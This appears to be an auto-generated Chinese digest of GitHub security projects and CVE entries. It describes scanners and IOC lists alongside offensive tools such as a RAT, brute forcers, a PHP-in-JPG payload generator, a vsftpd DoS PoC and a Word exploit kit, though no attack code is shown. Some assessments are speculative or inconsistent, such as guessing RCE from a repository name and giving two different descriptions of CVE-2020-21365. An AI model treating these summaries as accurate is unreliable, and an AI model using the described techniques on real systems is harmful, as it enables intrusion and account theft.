PentAPI是一个用Go编写的命令行工具，用于自动化API安全测试。它旨在扫描和分析RESTful API，查找常见的漏洞、配置错误和暴露风险。该工具尚未进行任何更新，仅为初始项目。由于该项目是安全工具，且与关键词高度相关，因此具有一定价值。

🔍 关键发现

序号 发现内容
1 自动化API安全测试工具
2 针对RESTful API的漏洞扫描
3 Go语言实现，具有一定的性能优势
4 与关键词'security tool'高度相关

🛠️ 技术细节

基于Go语言开发，利用其并发特性进行快速扫描

设计用于检测API中的常见漏洞和配置错误

命令行工具，方便在渗透测试中使用

🎯 受影响组件

• RESTful API
• 可能影响API后端服务

⚡ 价值评估

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该工具直接针对API安全测试，与关键词'security tool'高度相关。虽然是初始项目，但其功能和技术方向具有价值，可以帮助安全研究人员自动化API漏洞扫描和分析。

burp-idor - Burp IDOR漏洞检测工具

📌 仓库信息

属性 详情
仓库名称 burp-idor
风险等级 MEDIUM
安全类型 漏洞利用
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

Burp-IDOR是一个Python工具，用于识别Burp Suite流量导出文件中存在的Insecure Direct Object Reference (IDOR) 漏洞。该工具结合了启发式分析、本地AI模型和动态测试来查找和验证潜在的IDOR问题。本次更新修改了README.md文件，对工具的功能和特点进行了更详细的描述。主要功能包括：启发式检测，本地AI分析，动态测试，减少误报，丰富的CLI界面等。虽然此次更新没有直接涉及代码的修改，但README.md的更新有助于用户更好地理解和使用工具，间接增强了工具的价值。

🔍 关键发现

序号 发现内容
1 检测Burp Suite流量导出文件中IDOR漏洞
2 结合启发式分析、本地AI模型和动态测试
3 减少误报，提高检测准确性
4 提供丰富的CLI界面

🛠️ 技术细节

该工具通过解析Burp Suite的流量导出文件，识别可能存在IDOR漏洞的参数。

使用启发式方法检测IDOR易发参数（如id, user_id等）

利用Hugging Face的transformer模型进行离线、上下文相关的漏洞评分。

通过发送测试请求（递增ID）来异步验证漏洞。

通过检测session headers来过滤已认证的请求，从而减少误报。

🎯 受影响组件

• Burp Suite
• Python环境
• Hugging Face's transformer models

⚡ 价值评估

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虽然本次更新未直接涉及代码的修改，但README.md的更新完善了工具的文档，增加了用户对工具的理解，从而间接提升了工具的实用价值。

k8sec-toolkit - Kubernetes安全扫描工具，集成多种工具

📌 仓库信息

属性 详情
仓库名称 k8sec-toolkit
风险等级 LOW
安全类型 安全工具
更新类型 依赖更新

📊 代码统计

  • 分析提交数: 5

💡 分析概述

该仓库是一个Kubernetes安全扫描工具，名为K8Sec Toolkit。它集成了Trivy、Kubescape、kube-bench、kubectl-who-can和Polaris等多种开源安全工具，提供统一的输出格式（JSON/YAML/Table），并支持CRD发现和上下文感知扫描。更新内容主要为依赖库的版本更新，包括golang.org/x/time、github.com/pelletier/go-toml/v2等，以及go-openapi和go-restful的相关依赖。这些更新通常是为了修复安全漏洞或提高软件的稳定性，但本次更新未涉及明显安全风险。该工具的安全架构采用了纵深防御的理念，包含安全命令执行、输入验证、二进制完整性校验、审计日志和最小权限原则等安全机制，增强了工具的安全性。工具提供了详细的命令行参数，支持扫描特定环境和输出格式。由于更新内容主要为依赖库更新，未发现直接的漏洞利用方式。

🔍 关键发现

序号 发现内容
1 集成多种Kubernetes安全扫描工具，如Trivy、Kubescape等
2 提供统一的输出格式，便于分析和管理
3 采用了安全优先的架构设计，增强了工具的安全性
4 通过命令行参数支持灵活的扫描配置
5 与安全关键词'security tool'高度相关

🛠️ 技术细节

该工具通过命令行接口（CLI）接收用户输入，并通过SecureExecutor组件执行安全工具。

SecureExecutor组件对命令进行验证，包括命令允许列表、参数验证、二进制文件验证等，以确保安全性。

工具支持多种输出格式，方便用户分析和整合扫描结果。

更新内容主要为依赖库版本更新，包括golang.org/x/time、go-toml/v2、go-openapi和go-restful等。

🎯 受影响组件

• Kubernetes集群
• Trivy
• Kubescape
• kube-bench
• kubectl-who-can
• Polaris

⚡ 价值评估

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该项目与'security tool'关键词高度相关，因为它本身就是一个针对Kubernetes的安全扫描工具。它集成了多种安全工具，提供了全面的安全扫描功能，并采用了安全优先的架构设计。虽然本次更新主要为依赖更新，但该工具本身的设计和功能具备较高的研究和应用价值。

spydithreatintel - 恶意威胁情报IOC列表更新

📌 仓库信息

属性 详情
仓库名称 spydithreatintel
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 28

💡 分析概述

该仓库 spydisec/spydithreatintel 维护了从各种 OSINT 来源收集的 IOC (Indicators of Compromise)，用于检测和防御安全事件。本次更新主要涉及了多个域名的黑名单列表、恶意IP地址列表、以及威胁情报相关的数据的更新。更新主要包括了对恶意域名，恶意IP的添加和删除，并更新了威胁情报源。 由于该仓库是用于维护恶意指标的列表，更新的内容直接关系到对恶意行为的检测和防御，具有重要的安全意义。

🔍 关键发现

序号 发现内容
1 更新了多个域名的黑名单列表
2 更新了恶意IP地址列表
3 更新了威胁情报源

🛠️ 技术细节

更新了domainlist/ads、domainlist/malicious、domainlist/spam、iplist目录下的多个文件，这些文件包含了用于阻止恶意活动和跟踪广告的域名和IP地址。

对 iplist/filtered_malicious_iplist.txt、iplist/master_malicious_iplist.txt等IP列表文件进行了更新，增加了新的恶意IP。

更新了ThreatFox 相关的IP列表文件，并更新了文件名中的版本号。

🎯 受影响组件

• 网络安全防御系统
• 入侵检测系统
• 威胁情报分析平台

⚡ 价值评估

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该仓库维护的恶意指标列表对于安全防护具有直接价值，更新内容涉及对恶意域名和IP地址的增加和删除，直接影响安全防御的有效性。

AIAppCoda - AI应用安全与注册控制

📌 仓库信息

属性 详情
仓库名称 AIAppCoda
风险等级 MEDIUM
安全类型 安全工具
更新类型 代码优化/安全配置

📊 代码统计

  • 分析提交数: 3
  • 变更文件数: 151

💡 分析概述

该仓库名为AIAppCoda，主要功能是控制AI应用的安全和注册。本次更新移除了doc_registry.json和activity_logs.json文件，这些文件可能包含应用的操作日志和文档注册信息。同时，增加了对node_modules目录的.gitignore配置，以及删除了一些与SHA256相关的node_modules包，表明了依赖库的清理和优化，并增加了@aws-crypto库的依赖，很可能涉及到了安全相关的加密操作。由于该仓库与AI应用安全相关，且涉及注册控制等功能，因此需要重点关注其安全机制，特别是身份验证和授权，以及数据存储安全问题。虽然更新没有直接体现漏洞，但对安全相关的依赖库进行了更新和清理，也侧面说明了仓库的维护者对安全问题的重视。考虑到删除的文件中包含注册信息和日志，存在信息泄露和审计相关的风险。

🔍 关键发现

序号 发现内容
1 仓库主要功能为AI应用的安全与注册控制
2 本次更新移除了敏感数据文件，表明对数据安全的关注
3 涉及对node_modules的优化和清理，可能涉及安全依赖库
4 与AI安全关键词高度相关，体现在核心功能上

🛠️ 技术细节

移除了doc_registry.json和activity_logs.json文件，可能包含文档注册和操作日志

增加了对node_modules目录的.gitignore配置

更新了@aws-crypto库的依赖

可能涉及用户身份验证和授权机制

🎯 受影响组件

• AI应用后端安全控制
• 注册模块
• 日志模块

⚡ 价值评估

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该仓库与AI Security主题高度相关，仓库主要功能为AI应用的安全和注册控制。虽然此次更新没有直接体现漏洞，但对node_modules目录的优化以及安全依赖库的更新，说明了维护者对安全问题的关注，且仓库涉及注册控制和数据存储，存在一定的安全风险。因此，该仓库在AI安全领域具有一定的研究和参考价值。

Gito - AI代码审查工具更新

📌 仓库信息

属性 详情
仓库名称 Gito
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 13

💡 分析概述

Gito是一个基于AI的GitHub代码审查工具。本次更新主要集中在几个方面：1. 修复了 dark mode 下的 logo 样式问题。2. 增加了PyPI发布流程的配置，并新增了发布脚本。3. 修改了gito/cli.py，删除了不必要的import。4. 新增了gh_post_review_comment.py 文件，实现通过API在GitHub PR中发布评论的功能，此功能利用了GitHub API，并将代码审查报告作为评论发布到PR中。5. 改进了gh_react_to_comment.py，该文件用于处理来自PR评论的指令，并执行相应的操作，该文件已经被隐藏起来，仅供GitHub Actions工作流内部使用。6. 修改了constants.py文件，修改了GITHUB_MD_REPORT_FILE_NAME的值。总的来说，本次更新增强了工具的功能，使其能够更好地与GitHub PR集成，并实现自动化的代码审查流程。虽然代码审查功能本身是安全的，但GitHub Actions工作流程的配置和使用涉及到安全风险，需要仔细配置和审核。

🔍 关键发现

序号 发现内容
1 增强了Gito的代码审查和与GitHub PR的集成能力
2 增加了通过GitHub API发布代码审查报告的功能
3 改进了处理来自PR评论指令的脚本
4 修复了dark mode logo 样式问题
5 增加了PyPI发布流程

🛠️ 技术细节

gh_post_review_comment.py: 通过GitHub API，将代码审查报告发布到GitHub PR的评论中，使用API Key进行身份验证。

gh_react_to_comment.py: 实现了处理PR评论指令的功能，可以根据评论中的指令，在GitHub Actions工作流中执行相应的操作。

更新了 PyPI 发布流程

修改了constants.py文件，修改了GITHUB_MD_REPORT_FILE_NAME的值

🎯 受影响组件

• Gito CLI
• GitHub Actions Workflow
• GitHub API

⚡ 价值评估

展开查看详细评估

增加了通过GitHub API自动发布评论的功能，提升了工具的自动化程度和集成性。gh_react_to_comment.py的功能改进，提升了代码审查流程的灵活性。PyPI 发布流程的改进，方便了Gito工具的发布和安装。

AI-Driven-IAM-Anomaly-Detection - AI驱动IAM异常检测系统

📌 仓库信息

属性 详情
仓库名称 AI-Driven-IAM-Anomaly-Detection
风险等级 LOW
安全类型 安全功能
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 7

💡 分析概述

该仓库是一个基于AI的身份和访问管理(IAM)异常检测系统，使用混合机器学习模型(Isolation Forest, LSTM Autoencoders, and Random Forest)来检测IAM日志中的异常访问模式。本次更新主要集中在修复GUI界面的数据加载和简单检测器的逻辑错误，并增加了全面的测试套件。代码库还增加了关于IAM异常检测系统的文档。更新涉及的源代码文件包括src/main.py,src/feature_engineering.py,src/models/hybrid_model.py,src/simple_detector.py以及run_comprehensive_tests.py和PROJECT_DOCUMENTATION.md。由于更新没有直接引入安全漏洞或安全问题的修复，因此风险等级较低。

🔍 关键发现

序号 发现内容
1 IAM异常检测系统，利用AI模型检测异常访问模式
2 修复了GUI界面数据加载和逻辑错误
3 增加了全面的测试套件，用于验证系统功能
4 更新了项目文档

🛠️ 技术细节

修复GUI界面数据加载和简单检测器的逻辑错误, 涉及src/main.py和src/simple_detector.py。

更新了特征工程模块，涉及src/feature_engineering.py，修改了时间特征提取的方式。

修改了混合模型模块， 涉及src/models/hybrid_model.py，更新了模型结构。

增加了run_comprehensive_tests.py，实现了全面的测试套件, 涵盖数据生成、模型训练和评估等方面。

更新了项目文档 PROJECT_DOCUMENTATION.md

🎯 受影响组件

• IAM异常检测系统
• GUI界面
• 数据加载模块
• 特征工程模块
• 模型训练模块

⚡ 价值评估

展开查看详细评估

虽然本次更新没有直接修复安全漏洞或增强安全防护能力，但是修复了系统中的bug，增强了系统的稳定性和可用性，并新增了测试，提高了代码质量和可靠性，具有一定的研究和学习价值。

NavicatPwn - Navicat后渗透利用框架

📌 仓库信息

属性 详情
仓库名称 NavicatPwn
风险等级 MEDIUM
安全类型 安全研究
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个针对Navicat的后渗透利用框架。本次更新主要修改了README.md文档，更新了工具的介绍和使用说明，详细介绍了NavicatPwn框架在内网渗透场景下的应用，强调了获取Navicat Premium保存的数据库账密的重要性。虽然更新内容主要是文档，但由于该工具本身专注于后渗透，且针对数据库管理工具，因此具有一定的安全价值。

🔍 关键发现

序号 发现内容
1 NavicatPwn是针对Navicat的后渗透利用框架
2 强调了在内网渗透中获取Navicat数据库账密的重要性
3 README.md文档更新，包括工具介绍和使用说明

🛠️ 技术细节

NavicatPwn旨在帮助安全专业人员识别Navicat安装中的漏洞并增强其安全性。

工具的重点在于数据库凭证的获取，这对于内网渗透至关重要。

🎯 受影响组件

• Navicat Premium

⚡ 价值评估

展开查看详细评估

该工具针对Navicat，一个广泛使用的数据库管理工具，专注于后渗透阶段的数据库凭证获取，这对于安全评估和渗透测试具有重要意义。虽然本次更新是文档更新，但更新了工具的介绍和使用说明，明确了工具的用途，展示了工具的使用场景和潜在的安全影响。

CVE-2021-30047 - vsftpd DoS漏洞，导致服务拒绝

📌 漏洞信息

属性 详情
CVE编号 CVE-2021-30047
风险等级 HIGH
利用状态 漏洞利用可用
发布时间 2025-06-21 00:00:00
最后更新 2025-06-21 04:18:28

📦 相关仓库

💡 分析概述

该仓库提供了针对vsftpd 3.0.3版本的一个DoS漏洞的利用代码。仓库包含一个README.md文件，详细介绍了漏洞信息、利用方法和测试环境，并且提供了Python脚本cve-2021-30047.py。README.md中明确指出了该漏洞利用了vsftpd 3.0.3版本中未限制并发连接的缺陷，通过开启大量FTP连接来耗尽服务器资源，导致DoS。cve-2021-30047.py脚本通过创建多个线程并发地尝试连接到目标FTP服务器，从而触发DoS。脚本具有基本的错误处理和计时器，可以在一定时间内停止攻击。该漏洞的利用方法简单，直接使用ftp命令建立连接，具有较高的复现成功率。但该仓库的star数为0，表明关注度不高，且仓库的更新主要集中在README.md和Python脚本的添加，代码质量有待进一步评估。

🔍 关键发现

序号 发现内容
1 针对vsftpd 3.0.3的DoS漏洞
2 利用并发连接耗尽服务器资源
3 提供可用的Python脚本进行攻击
4 攻击方式简单，易于复现

🛠️ 技术细节

漏洞原理：vsftpd 3.0.3版本未限制并发连接数，导致攻击者可以通过创建大量FTP连接来耗尽服务器资源。

利用方法：使用提供的Python脚本，指定目标IP地址、端口和并发连接数，即可发起DoS攻击。该脚本实际上是并发地运行ftp命令进行连接。

修复方案：升级vsftpd到修复版本，或者配置FTP服务器限制最大连接数。

🎯 受影响组件

• vsftpd 3.0.3

⚡ 价值评估

展开查看详细评估

该漏洞具有明确的受影响版本（vsftpd 3.0.3），并且提供了可直接运行的POC，可以导致服务拒绝，满足价值判断标准。

CVE-2020-21365 - XMLHttpRequest存在敏感信息泄露漏洞

📌 漏洞信息

属性 详情
CVE编号 CVE-2020-21365
风险等级 HIGH
利用状态 POC可用
发布时间 2025-06-21 00:00:00
最后更新 2025-06-21 04:06:13

📦 相关仓库

💡 分析概述

该漏洞允许攻击者通过构造特定的HTML页面，利用XMLHttpRequest读取服务器上的敏感文件（如/etc/passwd），导致敏感信息泄露。

🔍 关键发现

序号 发现内容
1 通过XMLHttpRequest读取服务器敏感文件
2 影响使用XMLHttpRequest的Web应用
3 需要用户访问恶意构造的HTML页面

🛠️ 技术细节

漏洞原理：攻击者利用XMLHttpRequest的GET请求，直接访问服务器上的敏感文件路径。

利用方法：构造恶意HTML页面，诱导用户访问，从而读取服务器上的敏感文件。

修复方案：限制XMLHttpRequest的请求范围，禁止访问敏感文件路径。

🎯 受影响组件

• 使用XMLHttpRequest的Web应用

💻 代码分析

分析 1:

POC/EXP代码评估：提供的POC代码简单有效，能够直接利用漏洞读取敏感文件。

分析 2:

测试用例分析：POC代码即为有效的测试用例，能够验证漏洞的存在。

分析 3:

代码质量评价：代码简洁明了，直接展示了漏洞的利用方法。

⚡ 价值评估

展开查看详细评估

该漏洞允许攻击者读取服务器上的敏感信息，如/etc/passwd文件，影响范围明确，且有具体的POC代码，符合价值判断标准。

rce-thesauri-backup - RCE PoolParty词表备份

📌 仓库信息

属性 详情
仓库名称 rce-thesauri-backup
风险等级 MEDIUM
安全类型 POC更新
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 5

💡 分析概述

该仓库用于从RCE PoolParty自动备份词表。根据提交历史，仓库在2025-06-20T07:15:40添加了一个名为"instanties-rce-count"的文件。由于仓库名称包含"rce"，并且更新涉及的文件名也包含"rce"，暗示可能与远程代码执行(RCE)有关。考虑到该文件可能与RCE漏洞利用有关，需要进一步分析其内容，以确定是否包含任何漏洞利用代码或POC。但根据提供的上下文信息，无法确定具体的文件内容和RCE的具体实现方式，所以无法确定是否为漏洞修复，POC，或者新的安全功能。

🔍 关键发现

序号 发现内容
1 仓库功能为自动备份RCE PoolParty词表
2 更新中新增了名为"instanties-rce-count"的文件
3 文件命名暗示可能与RCE相关
4 需要进一步分析文件内容以确定具体安全影响

🛠️ 技术细节

仓库利用了GitHub Actions进行自动备份

新增的文件具体功能和内容未知

RCE的潜在实现细节依赖于"instanties-rce-count"的内容

需要进一步分析，以确定是否存在潜在的RCE漏洞。

🎯 受影响组件

• RCE PoolParty
• GitHub Actions
• 仓库内的文件

⚡ 价值评估

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虽然无法确定该更新是否直接包含了RCE漏洞，但文件名中包含"rce"，这表明了可能存在的安全风险，需要进一步分析。考虑到风险的可能性，因此判定为具有价值。

php-in-jpg - PHP RCE payload生成工具

📌 仓库信息

属性 详情
仓库名称 php-in-jpg
风险等级 MEDIUM
安全类型 漏洞利用
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

php-in-jpg是一个用于生成包含PHP payload的.jpg图像文件的工具，主要用于支持PHP RCE (Remote Code Execution) 漏洞利用技术。该工具支持两种技术：内联payload（直接将PHP代码附加到图像）和EXIF元数据注入（使用exiftool将payload嵌入到图像的comment字段中）。本次更新主要集中在README.md文件的内容修改，包括对工具功能和使用方法的说明，以及示例和演示，重点介绍了GET-based执行模式的使用，并可能增加了更多关于RCE利用的信息。根据现有信息，无法判断具体的漏洞，仅能推断出该工具可以用于绕过一些安全防护机制。

🔍 关键发现

序号 发现内容
1 工具用于生成.jpg图像文件，其中嵌入PHP payload。
2 支持内联payload和EXIF元数据注入两种方式。
3 主要用于PHP RCE漏洞利用，能够绕过某些安全防护。
4 更新主要集中在README.md文档，增加了功能介绍和使用示例。
5 强调了GET-based执行模式的使用。

🛠️ 技术细节

该工具利用了.jpg图像文件格式的特性，将PHP代码嵌入到图像中。

使用内联payload时，直接将PHP代码附加到图像文件末尾，这种方式可能容易被检测，需要结合其他技术。

使用EXIF元数据注入时，将PHP代码嵌入到图像的EXIF comment字段，这是一种更隐蔽的方法，可能绕过一些安全检测。

README.md文档的更新，包括工具的介绍、使用方法、示例和演示，旨在帮助用户理解和使用该工具。

GET-based执行模式允许通过HTTP GET请求执行PHP代码，增加了RCE的灵活性。

🎯 受影响组件

• PHP
• .jpg图像处理库
• Web服务器
• exiftool (如果使用EXIF元数据注入)

⚡ 价值评估

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该工具专门用于生成包含PHP payload的.jpg图像文件，可以用于RCE漏洞利用。虽然本次更新主要为文档更新，但其功能本身就具有一定的安全研究价值和渗透测试价值。

VulnWatchdog - 自动化漏洞监控与分析工具

📌 仓库信息

属性 详情
仓库名称 VulnWatchdog
风险等级 HIGH
安全类型 漏洞利用/安全研究
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 3
  • 变更文件数: 8

💡 分析概述

该仓库是一个自动化漏洞监控和分析工具，名为VulnWatchdog，主要功能是监控GitHub上的CVE相关仓库，获取漏洞信息和POC代码，并使用GPT进行智能分析，生成详细的分析报告。本次更新新增了多个CVE漏洞的分析报告，包括：CVE-2011-0762 (vsftpd DoS)、CVE-2020-21365 (wkhtmltopdf 目录遍历)、CVE-2021-30047 (vsftpd DoS)、CVE-2025-49132 (Pterodactyl Panel RCE)、CVE-2024-9796 (WP-Advanced-Search SQL注入)。这些漏洞涵盖了拒绝服务、目录遍历、远程代码执行和SQL注入等多种类型，影响范围广泛。CVE-2025-49132、CVE-2024-9796等漏洞的利用可能导致严重的安全问题，例如服务器完全控制或数据泄露。

🔍 关键发现

序号 发现内容
1 自动化监控CVE相关仓库
2 利用GPT进行智能分析
3 新增多个CVE漏洞分析报告
4 涵盖多种类型的漏洞，包括RCE、SQL注入等
5 部分漏洞可能导致服务器完全控制或数据泄露

🛠️ 技术细节

该工具通过监控GitHub上的CVE相关仓库，获取漏洞信息和POC代码。

使用GPT进行智能分析，生成详细的分析报告。

更新中包含了多个CVE漏洞的分析报告，报告内容包括漏洞编号、类型、影响应用、危害等级、影响版本、利用条件、POC可用性以及漏洞详情和利用方式。

其中，CVE-2025-49132 (Pterodactyl Panel RCE) 漏洞的利用需要获取Panel配置信息并伪造Cookie，通过API执行任意代码；CVE-2024-9796 (WP-Advanced-Search SQL注入)漏洞的利用需要构造恶意的SQL语句。

🎯 受影响组件

• vsftpd
• wkhtmltopdf
• Pterodactyl Panel
• WP-Advanced-Search

⚡ 价值评估

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该仓库更新了多个CVE漏洞的分析报告，其中包含了关键漏洞的利用方式和技术细节，例如CVE-2025-49132 和 CVE-2024-9796。这些漏洞的修复和利用分析对于安全研究和漏洞挖掘具有重要价值。

Pulsar - 远程管理工具Pulsar更新分析

📌 仓库信息

属性 详情
仓库名称 Pulsar
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 3
  • 变更文件数: 2

💡 分析概述

Pulsar是一款远程管理工具(RAT)。本次更新主要涉及了以下内容： 1. 重新添加自动更新功能； 2. 增加了上传服务器端可执行文件到github的workflow; 3. 增加了在客户端启用或禁用浏览器克隆的功能。 此次更新可能涉及安全风险，包括自动更新功能可能被用于传播恶意软件，以及浏览器克隆功能可能被滥用进行信息窃取或钓鱼攻击。

🔍 关键发现

序号 发现内容
1 Pulsar是远程管理工具，具有控制受害者的功能。
2 增加了自动更新功能，可能被用于恶意软件传播。
3 增加了上传服务器端可执行文件到github的workflow。
4 增加了浏览器克隆开关，可能用于信息窃取。

🛠️ 技术细节

增加了GitHub Actions工作流程，用于自动构建和上传可执行文件。

修改了README.md文件，更新了Telegram频道链接和删除discord链接

增加了浏览器克隆的开关，用户可以选择禁用浏览器克隆功能，在这种情况下浏览器将正常启动。

🎯 受影响组件

• Pulsar客户端
• Pulsar服务器端
• 自动更新模块
• 浏览器克隆功能

⚡ 价值评估

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增加了远程管理工具的风险功能，例如自动更新和浏览器克隆，这可能被攻击者利用。

xray-config-toolkit - Xray配置工具，提供多种配置

📌 仓库信息

属性 详情
仓库名称 xray-config-toolkit
风险等级 MEDIUM
安全类型 安全功能
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 285

💡 分析概述

该仓库是一个Xray配置工具包，主要功能是生成、管理和分发Xray相关的配置文件，以支持不同的协议、网络和安全设置。此次更新新增了多个配置文件，包括针对不同国家/地区的特定配置，如伊朗、阿联酋、澳大利亚、保加利亚、巴西、加拿大、瑞士和中国等。这些配置涵盖了多种协议和安全设置，包括vmess, vless, trojan, tls, ws, grpc, xhttp, reality等，以绕过网络审查。更新涉及添加了包括cloudflare worker的js文件和大量的json配置文件。

更新内容分析：

  1. 增加了多个配置文件，这些文件针对不同的国家/地区，涵盖了多种协议和安全设置。
  2. 包含了Cloudflare Worker脚本，用于处理请求。
  3. 增加了用于负载均衡和碎片化的配置。

漏洞分析：由于该仓库主要涉及配置文件的生成和分发，并无直接的漏洞利用代码。但是，配置文件的错误配置可能导致安全问题，如配置不当的TLS设置可能导致中间人攻击，或者配置不安全的协议可能导致流量泄露。由于提供了特定地区的配置，针对这些地区网络环境的特殊配置可能存在安全风险，如使用混淆技术来绕过审查，可能存在被针对的风险。

🔍 关键发现

序号 发现内容
1 提供Xray配置文件的生成和分发
2 支持多种协议和安全设置
3 包含Cloudflare Worker脚本
4 针对不同国家/地区提供特定配置

🛠️ 技术细节

使用bash脚本进行核心功能实现，包括更新、抓取数据、合并等操作

使用GitHub Actions进行自动化构建和部署

配置文件为JSON格式，包含了DNS, inbound, outbound, routing等配置

Cloudflare Worker脚本用于处理HTTP请求，并根据请求参数返回不同的配置

🎯 受影响组件

• Xray
• Cloudflare Worker
• v2rayN
• v2rayNG

⚡ 价值评估

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该仓库提供了生成和分发Xray配置文件的工具，并且更新包含了针对不同国家和地区的特定配置，这些配置可以用于绕过网络审查，具有一定的实用价值，尤其是在特定地区。

crypto-bruteforce - 加密货币钱包暴力破解工具

📌 仓库信息

属性 详情
仓库名称 crypto-bruteforce
风险等级 MEDIUM
安全类型 安全研究
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库提供了一个用于暴力破解加密货币钱包的工具。更新内容主要集中在README文档的修改，包括了对工具的介绍、功能、安装和使用方法的更新。虽然更新内容未直接涉及代码层面的安全漏洞或利用，但该工具本身用于暴力破解，具有潜在的安全风险。该工具可用于针对Binance, Ethereum, and Solana等平台钱包的暴力破解攻击，因此了解其工作原理有助于评估潜在的安全威胁。

🔍 关键发现

序号 发现内容
1 该工具专注于加密货币钱包的暴力破解。
2 支持 Binance, Ethereum, and Solana 等平台。
3 更新主要集中在文档的完善，包括介绍、功能和安装说明。
4 虽然更新本身没有直接的安全漏洞，但工具的性质具有潜在的安全风险。

🛠️ 技术细节

工具利用暴力破解的方法尝试不同的密码组合，以获取对加密货币钱包的访问权限。

README文档提供了工具的概览、功能介绍、安装指南和使用方法，这有助于用户理解和使用该工具。

工具针对特定的加密货币钱包平台，需要对不同的加密算法和密钥管理方式进行处理。

🎯 受影响组件

• 加密货币钱包
• Binance
• Ethereum
• Solana

⚡ 价值评估

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该工具专注于加密货币钱包的暴力破解，虽然本次更新仅涉及文档，但工具本身具有潜在的安全风险，因此具有一定的安全研究价值。可以帮助安全研究人员评估不同加密货币钱包的安全性。

Instagram-Brute-Forcer-Pro - Instagram暴力破解工具更新

📌 仓库信息

属性 详情
仓库名称 Instagram-Brute-Forcer-Pro
风险等级 MEDIUM
安全类型 安全工具
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个针对Instagram的暴力破解工具，主要功能包括代理轮换、GPU加速和隐身模式等。本次更新主要修改了README.md文件，更新了工具的描述，添加了版本信息和徽章，并调整了内容排版。虽然更新内容不涉及安全漏洞的修复或新的利用方式，但该工具本身属于安全测试范畴，且功能实现具备一定的技术含量，符合安全工具的定义。因此，本次更新仍具有一定的参考价值。

🔍 关键发现

序号 发现内容
1 针对Instagram的暴力破解工具
2 提供GPU加速和代理轮换功能
3 README.md文件更新，调整了内容排版和添加版本信息
4 工具本身用于安全测试，具备一定技术含量

🛠️ 技术细节

工具使用了GPU加速技术，提高了暴力破解的效率

实现了代理轮换功能，增加了破解的隐蔽性

README.md更新，主要目的是提升工具的介绍和用户体验

🎯 受影响组件

• Instagram
• 暴力破解工具

⚡ 价值评估

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该工具本身属于安全测试范畴，具备一定的技术含量，更新虽然不是直接的安全漏洞修复，但对安全研究人员有一定参考价值。

Titan-Silent-DOC-Exploit - Word文档静默漏洞利用工具

📌 仓库信息

属性 详情
仓库名称 Titan-Silent-DOC-Exploit
风险等级 HIGH
安全类型 漏洞利用
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个专门针对Microsoft Word文档漏洞利用的工具，旨在帮助安全研究人员和开发者。本次更新主要集中在README文件的内容完善，包括了工具的概述、涵盖的主题、安装、使用方法、贡献指南、许可信息和版本发布等内容。虽然没有直接的代码变更，但README文档的更新有助于更好地理解和使用该工具，特别是对漏洞利用和安全研究人员来说。由于该工具涉及漏洞利用，因此具有较高的安全风险。

🔍 关键发现

序号 发现内容
1 该工具专注于Microsoft Word文档的漏洞利用。
2 README文档提供了关于工具的详细信息。
3 该工具可能涉及潜在的安全风险，如用于恶意攻击。
4 更新主要集中在文档完善，没有实质性的代码变更。

🛠️ 技术细节

该工具可能使用了多种技术来绕过Microsoft Word文档的安全防护。

README文档提供了关于工具的使用方法和详细信息。

🎯 受影响组件

• Microsoft Word
• Windows操作系统

⚡ 价值评估

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该工具专注于Microsoft Word文档的漏洞利用，对于安全研究人员来说，理解和掌握此类工具可以帮助他们更好地进行安全评估和漏洞分析。 虽然本次更新只是文档更新，但是说明了工具的具体功能，对理解和使用工具有很大帮助。

SystemVulnerabilityScan - Windows系统安全审计工具

📌 仓库信息

属性 详情
仓库名称 SystemVulnerabilityScan
风险等级 MEDIUM
安全类型 安全工具
更新类型 新增

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库提供了一个基于Python的Windows系统安全审计工具，用于检测常见的安全漏洞和配置问题。它通过执行Windows命令和PowerShell脚本来检查开放端口、防火墙状态、危险服务、过时驱动程序等。更新内容为README.md，详细说明了脚本的功能、使用的工具、以及实现步骤，有助于理解其工作原理。该工具的目的是帮助识别潜在的系统弱点，为后续的渗透测试或安全加固提供参考。

🔍 关键发现

序号 发现内容
1 基于Python的Windows安全审计工具
2 检测常见安全漏洞和配置问题
3 使用Windows命令和PowerShell
4 提供系统加固意识
5 与安全工具关键词高度相关

🛠️ 技术细节

使用Python标准库，Windows命令行工具和PowerShell

检查开放端口、防火墙状态、危险服务和过时驱动程序

通过执行系统命令和PowerShell命令收集系统信息

🎯 受影响组件

• Windows操作系统

⚡ 价值评估

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该工具与搜索关键词'security tool'高度相关，提供了基本的安全审计功能，可用于识别系统中的常见漏洞。虽然功能较为基础，但对于安全评估和系统加固具有一定的参考价值。

C2Project - 自制C2渗透测试工具

📌 仓库信息

属性 详情
仓库名称 C2Project
风险等级 LOW
安全类型 安全工具/安全研究
更新类型 新增功能

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 17

💡 分析概述

该仓库是一个用于渗透测试的C2（Command and Control）工具，主要目的是提供一个自制的工具箱，用于红队攻击和安全研究。仓库更新包括了C2服务器的规范和dummy前端。C2服务器规范定义了C2服务器的功能，如与端点通信、管理端点、发送指令、调整设置、提供管理GUI和数据持久化等。此次更新定义了C2项目的基本功能和目标。同时，还添加了一个Next.js项目作为dummy前端，方便用户根据自己的需求定制。由于项目还在开发早期，目前尚未提供实际可用的C2功能或漏洞利用代码，但其设计目标明确，与C2相关的关键字高度相关。

